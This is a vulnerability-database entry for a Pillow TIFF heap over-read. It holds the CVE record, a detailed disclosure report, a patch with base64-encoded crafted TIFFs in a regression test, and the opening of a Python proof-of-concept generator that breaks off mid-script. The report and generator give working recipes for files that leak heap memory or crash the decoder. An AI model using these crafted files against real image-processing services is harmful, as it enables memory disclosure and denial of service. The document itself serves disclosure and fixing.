Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-112404 (GCVE-0-2026-112404)
Vulnerability from cvelistv5 – Published: 2026-10-19 21:27 – Updated: 2026-10-19 21:27- CWE-126 - Buffer Over-read
| URL | Tags |
|---|---|
| https://github.com/python-pillow/Pillow/security/… | x_refsource_CONFIRM |
| https://github.com/python-pillow/Pillow/commit/1d… | x_refsource_MISC |
| https://github.com/python-pillow/Pillow/releases/… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| python-pillow | Pillow |
Affected:
>= 8.1.0, < 13.0.0
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 8.1.0, \u003c 13.0.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow\u0027s TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-126",
"description": "CWE-126: Buffer Over-read",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-19T21:27:56.705Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
},
{
"name": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"
},
{
"name": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"source": {
"advisory": "GHSA-c6hw-5grf-ff96",
"discovery": "UNKNOWN"
},
"title": "Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-112404",
"datePublished": "2026-10-19T21:27:56.705Z",
"dateReserved": "2026-10-19T16:58:51.960Z",
"dateUpdated": "2026-10-19T21:27:56.705Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-112404",
"date": "2026-10-23",
"epss": "0.00291",
"percentile": "0.20604"
},
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 8.1.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow\u0027s TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112404",
"lastModified": "2026-10-20T19:48:50.250",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-10-19T22:17:07.900",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Undergoing Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-126"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
},
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-10-23T10:50:12+00:00",
"cve": "CVE-2026-112404",
"id": "CVE-2026-112404",
"initial_release_date": "2026-10-19T21:27:56.705000+00:00",
"product_status:known_affected": "84",
"product_status:known_not_affected": "10",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "pillow: Pillow: Denial of Service via out-of-bounds read in TIFF decoding",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-112404.json",
"version": "3"
}
}
}
BREW-AIDER-CVE-2026-112404 (GHSA-C6HW-5GRF-FF96)
Vulnerability from osv_homebrew – Published: 2026-10-21 09:14 – Updated: 2026-10-21 09:14 – Source website============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483 in _decodeTile()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.
The bug is in _decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width * 4). They then unpack each row with the unpacker that TiffImagePlugin._setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. _decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.
The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.
The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).
The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← _decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.
Details
_decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width * 4), but unpack each row with the shuffler that TiffImagePlugin._setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width * state->bits / 8 bytes) fits inside the row libtiff wrote. _decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectory_v2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.
The ~400-byte TIFF tile_count2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOC_PERTURB_=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← _decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).
Why the two parsers disagree
libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.
Pillow keeps the first value and carries on:
# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())
try:
(dest[tag],) = values
except ValueError:
# We've got a builtin tag with 1 expected entry
warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
dest[tag] = values[0]
so _setup() sees photo == 6. OPEN_INFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:
# src/PIL/TiffImagePlugin.py:1578, 1600-1607
self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
…
if photo == 6:
self._mode = "RGB"
if self._compression in "jpeg" and self._planar_configuration == 1:
rawmode = "RGB"
else:
rawmode = "RGBX"
RGBX is a 32-bit rawmode, so get_unpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":
// src/libImaging/TiffDecode.c:737-764
TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0
…
readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0
…
if (TIFFIsTiled(tiff)) {
_decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check
_decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds row_byte_size-strided rows to the shuffler:
// src/libImaging/TiffDecode.c:403-487 (_decodeTile)
tile_bytes_size = TIFFTileSize(tiff); // 256
…
row_byte_size = TIFFTileRowSize(tiff); // 16
…
if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
// 256 > 1024 is false -> no abort
…
}
state->bytes = tile_bytes_size;
new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448)
…
for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
shuffler( // copy4: reads current_tile_width*4 = 64 bytes
(UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
state->buffer + tile_y * row_byte_size, // from offset 16*tile_y
current_tile_width
);
Row tile_y is read from [16·tile_y, 16·tile_y + 64); for tile_y = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiff_bits_per_pixel − 1) × row_byte_size bytes, and row_byte_size scales with the attacker-chosen TileWidth.
Note also that the existing one-sided check at line 434 multiplies the file-controlled tile_width/tile_length (UINT32, accepted up to INT_MAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tile_width * state->bits wraps for tile_width ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← _decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.
Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):
// src/libImaging/TiffDecode.c:528-548 (_decodeStrip)
unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
…
row_byte_size = TIFFScanlineSize(tiff);
// if the unpacker calculated row size is > row byte size, (at least) the last
// row of the strip will have a read buffer overflow.
if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
state->errcode = IMAGING_CODEC_BROKEN;
return -1;
}
The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.
Same gap in _decodeAsRGBA()
_decodeAsRGBA() always produces img.width * 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectory_v2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcr_dup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.
The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← _decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tile_dup.tif). ycbcr_dup.tif above reaches _decodeAsRGBA() the same way.
Impact
Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READ_LIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpacker_bpp / libtiff_bpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.
This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched _decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The _decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.
Reproducing
Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.
The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:
tile_count2.tif: a 16x16, 1-sample, 8-bit tile withPhotometricInterpretationwritten as SHORT count 2,(6, 6). Pillow keeps6and unpacks withcopy4(RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).tile_dup.tif: a 16x16, 3-sample, 8-bit tile withPhotometricInterpretationpresent twice,2then6. libtiff keeps2(RGB, 3 bytes per pixel) and Pillow keeps6(RGBX, 4 bytes per pixel). This variant also applies to released versions.ycbcr_dup.tif: the 16x16 strip withBitsPerSample8,8,8then16,16,16andPhotometricInterpretation6then2. libtiff decodes 8-bit YCbCr through_decodeAsRGBA()(4 bytes per pixel), and Pillow unpacksRGB;16NwithunpackRGB16L(6 bytes per pixel).tile_big.tif: thetile_count2.tiflayout with a single 65536x16 tile.
For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOC_PERTURB_=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tile_big.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← _decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.
Each step prints which _imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.
Suggested fix
The attached patch restores the _decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:
_decodeTile()computesunpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8(thetsize_tcast keeps the product out of 32-bit arithmetic, so theTILEWIDTH = 2^26+16case above cannot wrap past the check on 64-bit builds). It reuses that value for the existingTIFFTileSize()sanity check, as_decodeStrip()does for strips. After that check and before therealloc, it fails withIMAGING_CODEC_BROKENwhenunpacker_row_byte_size > row_byte_size(TIFFTileRowSize())._decodeAsRGBA()fails withIMAGING_CODEC_BROKENwhenstate->bits > 32, becauseTIFFRGBAImagerows are always 32 bits per pixel. This check runs beforeTIFFRGBAImageBegin()and any allocation.
With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/test_file_libtiff.py (test_unpacker_row_wider_than_libtiff_row). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/test_file_tiff.py, Tests/test_file_libtiff.py and Tests/test_tiff_crashes.py pass.
These checks close the over-read however the two parsers are made to disagree. Separately, _setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectory_v2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.
The patch
Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does
Applies to src/libImaging/TiffDecode.c at the commit above.
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..c08dfe77c 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):
with pytest.raises(OSError, match="decoder error -9"):
im.load()
+ @pytest.mark.parametrize(
+ "data",
+ (
+ # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that
+ # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)
+ # while libtiff ignores it and decodes 1 byte/pixel.
+ (
+ b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA"
+ b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA"
+ b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4"
+ b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm"
+ b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT"
+ b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A"
+ b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt"
+ b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna"
+ b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo="
+ ),
+ # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation
+ # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)
+ # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).
+ (
+ b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA"
+ b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA"
+ b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB"
+ b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS"
+ b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3"
+ b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J"
+ b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x"
+ b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w"
+ b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x"
+ b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA"
+ b"EAAQAA=="
+ ),
+ ),
+ )
+ @pytest.mark.filterwarnings("ignore:Metadata Warning")
+ def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None:
+ # The unpacker chosen by Pillow reads more bytes per row than libtiff
+ # decoded, so the decoder must reject the image rather than read past
+ # the end of its buffer
+ with Image.open(io.BytesIO(base64.b64decode(data))) as im:
+ with pytest.raises(OSError, match="decoder error -2"):
+ im.load()
+
@pytest.mark.parametrize("compression", ("tiff_adobe_deflate", "jpeg"))
def test_save_multistrip(self, compression: str, tmp_path: Path) -> None:
im = hopper("RGB").resize((256, 256))
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..2ee6c5f0a 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {
TRACE(("RowsPerBlock: %u \n", rows_per_block));
+ // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel
+ // than that, (at least) the last row of the block will have a read buffer
+ // overflow.
+ if (state->bits > 32) {
+ TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits));
+ state->errcode = IMAGING_CODEC_BROKEN;
+ return -1;
+ }
+
if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) {
TRACE(("Decode error, msg: %s", emsg));
state->errcode = IMAGING_CODEC_BROKEN;
@@ -397,7 +406,7 @@ _decodeTile(
) {
INT32 x, y, tile_y, current_tile_length, current_tile_width;
UINT32 tile_width, tile_length;
- tsize_t tile_bytes_size, row_byte_size;
+ tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;
UINT8 *new_data;
tile_bytes_size = TIFFTileSize(tiff);
@@ -431,7 +440,8 @@ _decodeTile(
return -1;
}
- if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
+ unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8;
+ if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) {
// If the tile size as expected by LibTiff isn't what we're expecting, abort.
// man: TIFFTileSize returns the equivalent size for a tile of data as it
// would be returned in a call to TIFFReadTile ...
@@ -439,6 +449,13 @@ _decodeTile(
return -1;
}
+ // if the unpacker calculated row size is > row byte size, (at least) the last
+ // row of the tile will have a read buffer overflow.
+ if (unpacker_row_byte_size > row_byte_size) {
+ state->errcode = IMAGING_CODEC_BROKEN;
+ return -1;
+ }
+
state->bytes = tile_bytes_size;
TRACE(("TIFFTileSize: %d\n", state->bytes));
The reproducer
Reproducer —repro, 4,178 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,
# no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the
# decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the
# bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's
# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile
# SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds.
import os, shutil, struct, subprocess, sys, tempfile, zlib
W = tempfile.mkdtemp(); S, L = 3, 4
def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order
data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)
ifd, extra = struct.pack("<H", len(entries)), b""
for tag, typ, vals in entries:
if vals is None: typ, vals = L, [data_off]
raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals)
if len(raw) > 4: raw, extra = struct.pack("<L", extra_off + len(extra)), extra + raw
ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0")
return b"II*\0" + struct.pack("<L", 8) + ifd + b"\0" * 4 + data + extra
def tile(w, h, spp, photo): # one deflate tile, 8 bit/sample
d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))
return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +
[(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)
d = zlib.compress(bytes(range(256)) * 3)
files = {
# Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only)
